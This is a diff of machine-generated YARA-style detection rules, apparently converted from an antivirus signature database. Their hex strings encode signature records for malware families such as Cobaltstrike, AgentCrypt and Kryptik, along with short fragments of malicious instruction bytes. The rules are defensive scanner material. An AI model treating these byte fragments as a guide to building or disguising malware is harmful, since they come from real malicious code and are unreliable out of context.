1)*4352+(#a_00_2 & 1)*9545) >=3 } -rule _InfrastructureShared_7368{ +rule _InfrastructureShared_7790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77407,7 +81885,7 @@ rule _InfrastructureShared_7368{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*28788+(#a_4d_2 & 1)*21835) >=3 } -rule _InfrastructureShared_7369{ +rule _InfrastructureShared_7791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77419,7 +81897,7 @@ rule _InfrastructureShared_7369{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*12339+(#a_6a_2 & 1)*18735) >=3 } -rule _InfrastructureShared_7370{ +rule _InfrastructureShared_7792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77431,7 +81909,7 @@ rule _InfrastructureShared_7370{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*11826+(#a_01_2 & 1)*4096) >=3 } -rule _InfrastructureShared_7371{ +rule _InfrastructureShared_7793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77443,7 +81921,7 @@ rule _InfrastructureShared_7371{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_01_2 & 1)*29543) >=3 } -rule _InfrastructureShared_7372{ +rule _InfrastructureShared_7794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77454,7 +81932,7 @@ rule _InfrastructureShared_7372{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*385) >=3 } -rule _InfrastructureShared_7373{ +rule _InfrastructureShared_7795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77466,7 +81944,7 @@ rule _InfrastructureShared_7373{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_02_2 & 1)*-28440) >=3 } -rule _InfrastructureShared_7374{ +rule _InfrastructureShared_7796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77477,7 +81955,7 @@ rule _InfrastructureShared_7374{ ((#a_46_0 & 1)*21283+(#a_c7_2 & 1)*4864) >=3 } -rule _InfrastructureShared_7375{ +rule _InfrastructureShared_7797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77489,7 +81967,7 @@ rule _InfrastructureShared_7375{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*8307+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_7376{ +rule _InfrastructureShared_7798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -77502,7 +81980,7 @@ rule _InfrastructureShared_7376{ ((#a_46_0 & 1)*16675+(#a_ad_1 & 1)*281+(#a_6c_2 & 1)*28005+(#a_72_3 & 1)*29793) >=3 } -rule _InfrastructureShared_7377{ +rule _InfrastructureShared_7799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -77511,13 +81989,13 @@ rule _InfrastructureShared_7377{ $a_6d_1 = {01 00 0b 01 4d 79 2e 53 65 74 74 69 6e 67 73 00 00 78 75 00 00 03 00 03 00 09 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 2e 31 00 02 00 04 01 8b 74 38 78 02 00 04 01 8b 74 08 78 02 00 04 01 8b 74 18 78 02 00 04 01 8b 74 19 78 02 00 04 01 8b 74 01 78 02 00 04 01 8b 7c 10 78 02 00 } //28486 $a_5c_2 = {78 01 00 04 01 8b 44 08 28 9c ff 04 01 8b 54 3a 28 00 00 78 75 00 00 04 00 04 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 6e 76 61 67 65 6e 74 2e 4e 43 54 21 4d 54 42 00 04 00 43 03 48 8b d9 48 3b ca 74 90 01 01 48 8b 03 48 85 c0 74 90 01 01 49 ba 70 30 52 5e 47 27 05 d3 ff 15 cf 7b 01 00 85 c0 75 90 01 01 48 83 c3 08 48 3b df eb 90 01 01 33 c0 48 8b 5c 24 30 48 83 c4 20 5f 90 00 00 } //260 $a_00_3 = {00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 50 53 49 4f 21 4d 54 42 00 02 00 24 01 08 09 9a 13 04 00 02 6f 2e 00 00 0a 11 04 6f 86 00 00 0a 6f 87 00 00 0a 26 00 09 17 58 0d 09 08 8e 69 32 dc 02 00 21 01 00 73 8c 00 00 0a 0a 06 72 3d 04 00 70 6f 8d 00 00 0a 0b 02 7b 14 00 00 04 07 6f 21 00 00 0a 00 2a 00 } //30720 - $a_00_4 = {00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 02 00 14 01 64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 c3 02 00 2c 03 68 1f 8b e3 55 ff 75 fc e8 90 01 04 89 45 a0 68 c4 5d 77 d1 ff 75 fc e8 90 01 04 89 85 14 ff ff ff 68 88 21 eb d6 ff 75 fc e8 90 00 00 } //30720 - $a_00_5 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 4f 50 21 4d 54 42 00 02 00 24 81 01 66 34 64 65 33 62 61 34 2d 61 62 34 32 2d 34 66 38 39 2d 39 66 30 62 2d 31 61 62 64 65 34 64 35 65 66 36 65 01 00 0c 01 06 17 58 0a 05 25 5a 05 58 18 5d 2c 01 00 0d 03 05 04 61 1f 90 01 01 59 06 61 45 90 00 00 } //30720 + $a_00_4 = {00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 53 52 21 4d 54 42 00 02 00 1c 01 08 07 06 5d 06 58 06 5d 91 11 0d 61 11 0f 59 20 00 02 00 00 58 13 10 16 13 08 2b 14 02 00 29 01 52 65 6d 6f 74 65 57 67 65 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 } //30720 + $a_00_5 = {00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 02 00 14 01 64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 c3 02 00 2c 03 68 1f 8b e3 55 ff 75 fc e8 90 01 04 89 45 a0 68 c4 5d 77 d1 ff 75 fc e8 90 01 04 89 85 14 ff ff ff 68 88 21 eb d6 ff 75 fc e8 90 00 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28486+(#a_5c_2 & 1)*260+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=3 } -rule _InfrastructureShared_7378{ +rule _InfrastructureShared_7800{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -77527,14 +82005,14 @@ rule _InfrastructureShared_7378{ $a_8b_2 = {3a } //1279 : $a_00_4 = {04 00 01 00 } //0 $a_53_5 = {52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 6e 76 61 67 65 6e 74 2e 4e 43 54 21 4d 54 42 00 04 00 43 03 48 8b d9 48 3b ca 74 90 01 01 48 8b 03 48 85 c0 74 90 01 01 49 ba 70 30 52 5e 47 27 05 d3 ff 15 cf 7b 01 } //8993 - $a_75_6 = {01 01 48 83 c3 08 48 3b df eb 90 01 01 33 c0 48 8b 5c 24 30 48 83 c4 20 5f 90 00 00 00 78 75 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 50 53 49 4f 21 4d 54 42 00 02 00 24 01 08 09 9a 13 04 00 02 6f 2e 00 00 0a 11 04 6f 86 00 00 0a 6f 87 00 00 0a 26 00 09 17 58 0d 09 08 8e 69 32 dc 02 00 21 01 00 73 8c 00 00 0a 0a 06 72 3d 04 00 70 6f 8d 00 00 0a 0b 02 7b 14 00 00 04 07 6f 21 00 00 0a 00 2a 00 00 78 75 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 } //-31488 - $a_42_7 = {02 00 14 01 64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 c3 02 00 2c 03 68 1f 8b e3 55 ff 75 fc e8 90 01 04 89 45 a0 68 c4 5d 77 d1 ff 75 fc e8 90 01 04 89 85 14 ff ff ff 68 88 21 eb d6 ff 75 fc e8 90 00 00 00 78 75 00 00 04 00 04 00 03 00 } //19745 - $a_4c_8 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 4f 50 21 4d 54 42 00 02 00 24 81 01 66 34 64 65 33 62 61 34 2d 61 62 34 32 2d 34 66 38 39 2d 39 66 30 62 2d 31 61 62 64 65 34 } //8993 + $a_75_6 = {01 01 48 83 c3 08 48 3b df eb 90 01 01 33 c0 48 8b 5c 24 30 48 83 c4 20 5f 90 00 00 00 78 75 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 50 53 49 4f 21 4d 54 42 00 02 00 24 01 08 09 9a 13 04 00 02 6f 2e 00 00 0a 11 04 6f 86 00 00 0a 6f 87 00 00 0a 26 00 09 17 58 0d 09 08 8e 69 32 dc 02 00 21 01 00 73 8c 00 00 0a 0a 06 72 3d 04 00 70 6f 8d 00 00 0a 0b 02 7b 14 00 00 04 07 6f 21 00 00 0a 00 2a 00 00 78 75 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 53 52 21 4d 54 42 00 } //-31488 + $a_01_7 = {08 07 06 5d 06 58 06 5d 91 11 0d 61 11 0f 59 20 00 02 00 00 58 13 10 16 13 08 2b 14 } //2 + $a_01_8 = {52 65 6d 6f 74 65 57 67 65 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 RemoteWget.Properties.Resources.resources condition: - ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*23691+(#a_8b_2 & 1)*1279+(#a_00_4 & 1)*0+(#a_53_5 & 1)*8993+(#a_75_6 & 1)*-31488+(#a_42_7 & 1)*19745+(#a_4c_8 & 1)*8993) >=3 + ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*23691+(#a_8b_2 & 1)*1279+(#a_00_4 & 1)*0+(#a_53_5 & 1)*8993+(#a_75_6 & 1)*-31488+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2) >=3 } -rule _InfrastructureShared_7379{ +rule _InfrastructureShared_7801{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -77544,18 +82022,29 @@ rule _InfrastructureShared_7379{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_7380{ +rule _InfrastructureShared_7802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 50 53 49 4f 21 4d 54 42 00 02 00 24 01 08 09 9a 13 04 00 02 6f 2e 00 00 0a 11 04 6f 86 00 00 0a 6f 87 00 00 0a 26 00 09 17 58 0d 09 08 8e 69 32 dc 02 00 21 01 00 73 8c 00 00 0a } //16675 - $a_3d_1 = {00 70 6f 8d 00 00 0a 0b 02 7b 14 00 00 04 07 6f 21 00 00 0a 00 2a 00 00 78 75 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 02 00 14 01 64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 c3 02 00 2c 03 68 1f 8b e3 55 ff 75 fc e8 90 01 04 89 45 a0 } //1546 + $a_3d_1 = {00 70 6f 8d 00 00 0a 0b 02 7b 14 00 00 04 07 6f 21 00 00 0a 00 2a 00 00 78 75 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 53 52 21 4d 54 42 00 02 00 1c 01 08 07 06 5d 06 58 06 5d 91 11 0d 61 11 0f 59 20 00 02 00 00 58 13 10 16 13 08 2b 14 02 00 29 01 52 65 6d 6f 74 65 57 67 65 74 2e 50 } //1546 condition: ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*1546) >=4 } -rule _InfrastructureShared_7381{ +rule _InfrastructureShared_7803{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 53 52 21 4d 54 42 00 02 00 1c 01 08 07 06 5d 06 58 06 5d 91 11 0d 61 11 0f 59 20 00 02 00 00 58 13 10 16 13 08 2b 14 02 00 29 01 52 65 6d 6f 74 65 57 67 65 74 2e 50 72 6f } //21283 + $a_74_1 = {65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 75 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 43 72 79 70 74 2e 53 51 21 4d 54 42 00 02 00 14 01 64 a1 30 00 00 00 8b 40 0c 8b 40 0c 8b 00 8b 00 8b 40 18 c3 02 00 2c 03 68 1f 8b e3 55 ff 75 fc e8 90 01 04 89 45 a0 } //25968 + condition: + ((#a_46_0 & 1)*21283+(#a_74_1 & 1)*25968) >=4 + +} +rule _InfrastructureShared_7804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -77566,7 +82055,7 @@ rule _InfrastructureShared_7381{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*1025) >=4 } -rule _InfrastructureShared_7382{ +rule _InfrastructureShared_7805{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -77578,7 +82067,7 @@ rule _InfrastructureShared_7382{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*2648+(#a_03_2 & 1)*1) >=4 } -rule _InfrastructureShared_7383{ +rule _InfrastructureShared_7806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -77586,12 +82075,12 @@ rule _InfrastructureShared_7383{ $a_46_0 = {48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 57 61 72 65 2e 43 21 62 69 74 00 01 00 0b 01 63 61 6e 63 65 6c 20 68 6f 6f 6b 01 00 0d 01 71 71 65 78 63 68 61 6e 67 65 77 6e 64 01 00 0f 01 54 58 47 75 69 46 6f 75 6e } //16675 $a_69_1 = {6e 01 00 11 01 70 69 70 65 5c 50 69 70 65 57 72 69 74 65 5f 71 71 00 00 78 75 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 45 46 31 32 33 21 4d 54 42 00 01 00 08 81 01 62 61 74 65 74 65 6c 61 01 00 07 81 01 67 74 65 66 64 74 65 01 00 0b 81 01 63 72 79 70 74 6f 67 6c 61 75 78 01 00 1d 81 01 74 72 } //24932 $a_73_2 = {65 72 65 74 20 62 61 6e 74 61 6d 76 67 74 73 20 73 65 6d 65 6e 73 00 00 78 75 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 65 78 6f 72 2e 42 21 64 68 61 00 01 00 0b 01 68 75 6e 23 23 23 23 23 23 25 73 01 00 0a 01 68 64 23 23 23 23 23 23 25 73 01 00 06 } //30305 - $a_74_3 = {23 23 01 00 0b 01 68 68 68 23 23 23 23 23 23 25 75 01 00 10 01 83 e0 7f 05 2c 01 00 00 69 c0 e8 03 00 00 50 ff 00 00 78 75 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 } //27393 + $a_74_3 = {23 23 01 00 0b 01 68 68 68 23 23 23 23 23 23 25 75 01 00 10 01 83 e0 7f 05 2c 01 00 00 69 c0 e8 03 00 00 50 ff 00 00 78 75 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 50 47 4b 41 21 4d 54 42 00 05 00 46 03 59 13 06 11 06 19 28 90 01 01 00 00 06 2c 0a 03 11 05 28 90 01 01 00 00 06 2b 0f 11 } //27393 condition: ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*24932+(#a_73_2 & 1)*30305+(#a_74_3 & 1)*27393) >=4 } -rule _InfrastructureShared_7384{ +rule _InfrastructureShared_7807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -77599,26 +82088,46 @@ rule _InfrastructureShared_7384{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 45 46 31 32 33 21 4d 54 42 00 01 00 08 81 01 62 61 74 65 74 65 6c 61 01 00 07 81 01 67 74 65 66 64 74 65 01 00 0b 81 01 63 72 79 70 74 6f 67 6c 61 75 78 01 00 1d 81 01 74 72 61 76 65 73 74 65 72 } //18467 $a_62_1 = {6e 74 61 6d 76 67 74 73 20 73 65 6d 65 6e 73 00 00 78 75 00 00 04 00 04 00 05 00 21 23 41 4c 46 } //29797 瑮浡杶獴猠浥湥s砀uЀЀԀ℀䄣䙌 $a_3a_2 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 65 78 6f 72 2e 42 21 64 68 61 00 01 00 0b 01 68 75 6e 23 23 23 23 23 23 25 73 01 00 0a 01 68 64 23 23 23 23 23 23 25 73 01 00 06 01 6b 74 74 23 23 23 01 00 0b 01 68 68 68 23 23 23 23 23 23 25 75 01 00 10 } //17744 - $a_7f_3 = {2c 01 00 00 69 c0 e8 03 00 00 50 ff 00 00 78 75 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 62 72 69 67 68 74 64 61 74 61 2e 63 6f 6d 01 00 0b 80 01 5a 69 70 53 6f 66 74 2e 65 78 65 00 00 78 75 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 62 61 72 2e 4e 42 21 4d 54 42 00 02 00 14 01 4c 6c 78 69 62 48 56 6c 62 57 6c 79 4d 69 35 70 62 6d 6b 3d 02 00 0d 01 62 6c 75 65 6d 32 5f 63 6c 69 65 6e 74 01 00 10 01 44 61 } //-31999 + $a_7f_3 = {2c 01 00 00 69 c0 e8 03 00 00 50 ff 00 00 78 75 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 50 47 4b 41 21 4d 54 42 00 05 00 46 03 59 13 06 11 06 19 28 90 01 01 00 00 06 2c 0a 03 11 05 28 90 01 01 00 00 06 2b 0f 11 06 16 31 0a 03 11 05 11 06 28 90 01 01 00 00 06 11 04 17 58 13 04 11 04 08 17 94 2f 09 03 6f 90 01 01 00 00 0a 04 32 b1 90 00 00 00 78 75 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 47 43 53 21 4d 54 42 00 05 00 40 03 48 8b 44 24 90 01 01 48 ff c0 48 89 44 24 90 01 01 48 90 02 0c 73 24 48 8d 05 90 01 04 48 8b 4c 24 90 } //-31999 condition: ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29797+(#a_3a_2 & 1)*17744+(#a_7f_3 & 1)*-31999) >=4 } -rule _InfrastructureShared_7385{ +rule _InfrastructureShared_7808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 65 78 6f 72 2e 42 21 64 68 61 00 01 00 0b 01 68 75 6e 23 23 23 23 23 23 25 73 01 00 0a 01 68 64 23 23 23 23 23 23 25 73 01 00 06 01 6b 74 74 23 23 23 01 00 0b 01 68 68 68 23 } //16675 - $a_23_1 = {25 75 01 00 10 01 83 e0 7f 05 2c 01 00 00 69 c0 e8 03 00 00 50 ff 00 00 78 75 00 00 05 00 05 00 05 00 21 } //8995 - $a_41_2 = {42 6c 6f 63 6b 3a 52 6f 73 74 70 61 79 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0e 80 01 62 72 69 67 68 74 64 61 74 61 2e 63 } //20515 - $a_00_3 = {0b } //28015 - $a_69_4 = {53 6f 66 74 2e 65 78 65 00 00 78 75 00 00 06 00 06 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 62 61 72 2e 4e 42 21 4d 54 42 00 02 00 14 01 4c 6c 78 69 62 48 56 6c 62 57 6c 79 4d 69 35 70 62 6d 6b 3d 02 00 0d 01 62 6c 75 65 6d 32 5f 63 6c 69 } //384 + $a_23_1 = {25 75 01 00 10 01 83 e0 7f 05 2c 01 00 00 69 c0 e8 03 00 00 50 ff 00 00 78 75 00 00 05 00 05 00 01 00 21 } //8995 + $a_4c_2 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 50 47 4b 41 21 4d 54 42 00 05 00 46 03 59 13 06 11 06 19 28 90 01 01 00 00 06 2c 0a 03 11 05 28 90 01 01 00 00 06 2b 0f 11 06 16 31 0a 03 11 05 11 } //21539 + $a_01_3 = {01 00 00 06 11 04 17 58 13 04 11 04 08 17 94 2f 09 03 6f 90 01 01 00 00 0a 04 32 b1 90 00 00 00 78 75 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 47 43 53 21 4d 54 42 00 05 00 40 03 48 8b 44 24 90 01 01 48 ff c0 48 89 44 24 90 01 01 48 90 02 0c 73 24 48 8d 05 90 01 04 48 8b 4c 24 90 01 01 0f b6 04 08 83 f0 90 01 01 48 8d 0d 90 01 04 48 8b 54 24 90 01 } //10246 + $a_11_4 = {90 00 00 00 } //-30719 condition: - ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*8995+(#a_41_2 & 1)*20515+(#a_00_3 & 1)*28015+(#a_69_4 & 1)*384) >=4 + ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*8995+(#a_4c_2 & 1)*21539+(#a_01_3 & 1)*10246+(#a_11_4 & 1)*-30719) >=4 } -rule _InfrastructureShared_7386{ +rule _InfrastructureShared_7809{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 50 47 4b 41 21 4d 54 42 00 05 00 46 03 59 13 06 11 06 19 28 90 01 01 00 00 06 2c 0a 03 11 05 28 90 01 01 00 00 06 2b 0f 11 06 16 31 0a 03 11 05 11 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_7810{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 47 43 53 21 4d 54 42 00 05 00 40 03 48 8b 44 24 90 01 01 48 ff c0 48 89 44 24 90 01 01 48 90 02 0c 73 24 48 8d 05 90 01 04 48 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_7811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -77632,7 +82141,7 @@ rule _InfrastructureShared_7386{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*28015+(#a_69_2 & 1)*384+(#a_01_3 & 1)*28261+(#a_01_4 & 1)*2816) >=5 } -rule _InfrastructureShared_7387{ +rule _InfrastructureShared_7812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -77645,7 +82154,7 @@ rule _InfrastructureShared_7387{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*29264+(#a_01_2 & 1)*2816+(#a_28_3 & 1)*4359) >=6 } -rule _InfrastructureShared_7388{ +rule _InfrastructureShared_7813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -77660,7 +82169,7 @@ rule _InfrastructureShared_7388{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*30034+(#a_17_2 & 1)*11+(#a_07_3 & 1)*1811+(#a_52_4 & 1)*21320+(#a_ec_5 & 1)*-30453) >=6 } -rule _InfrastructureShared_7389{ +rule _InfrastructureShared_7814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -77670,7 +82179,7 @@ rule _InfrastructureShared_7389{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_7390{ +rule _InfrastructureShared_7815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -77680,7 +82189,7 @@ rule _InfrastructureShared_7390{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7391{ +rule _InfrastructureShared_7816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -77690,7 +82199,7 @@ rule _InfrastructureShared_7391{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7392{ +rule _InfrastructureShared_7817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -77704,7 +82213,7 @@ rule _InfrastructureShared_7392{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_18_2 & 1)*2656+(#a_1f_3 & 1)*4354+(#a_78_4 & 1)*27503) >=14 } -rule _InfrastructureShared_7393{ +rule _InfrastructureShared_7818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -77715,7 +82224,7 @@ rule _InfrastructureShared_7393{ ((#a_6f_0 & 1)*21539+(#a_48_1 & 1)*8448) >=20 } -rule _InfrastructureShared_7394{ +rule _InfrastructureShared_7819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 05 00 21 " @@ -77729,7 +82238,7 @@ rule _InfrastructureShared_7394{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28532+(#a_90_2 & 1)*-254+(#a_16_3 & 1)*3073+(#a_58_4 & 1)*2312) >=20 } -rule _InfrastructureShared_7395{ +rule _InfrastructureShared_7820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -77740,7 +82249,7 @@ rule _InfrastructureShared_7395{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*18021) 